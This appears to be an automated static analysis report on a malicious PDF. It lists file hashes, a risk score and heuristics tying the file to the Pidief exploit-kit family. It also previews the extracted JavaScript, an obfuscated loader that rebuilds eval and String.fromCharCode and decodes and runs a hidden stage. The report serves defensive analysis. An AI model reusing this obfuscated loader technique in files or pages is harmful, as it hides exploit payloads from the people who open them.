Malicious PDF — malware analysis report

Static analysis result for SHA-256 ab7b8a1a322c1eef…

MALICIOUS

PDF

45.1 KB First seen: 2026-05-08
MD5: 796fe1dff52e3ea8689bef19b890da4b SHA-1: 6ae8a9ae93316a1cbb6845f30cd07e6391806ed7 SHA-256: ab7b8a1a322c1eef0db2498b94b092b81176972f7e4d184012fa188ce3d0d3ad
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1BE 450 bytes
SHA-256: c66cfb2523ed4e5da3b54ae22af9e0039247ea68dbd364bc5a2fe91756226812
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
voiq='';
whrmy=('qwrwqr','tit');
e('qulrm=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
icn=e('String.fr'+qulrm.substr(0,10));
zucpu = e(qulrm.substr(10)['replace'](/u/g,','));
e('k=zucpu.length');
for (i = 0; i < k; i+=2) {
	ylj = zucpu[i+1] + ('erybjkerl',zucpu[i]);
	voiq += icn(ylj);
}
e(voiq);

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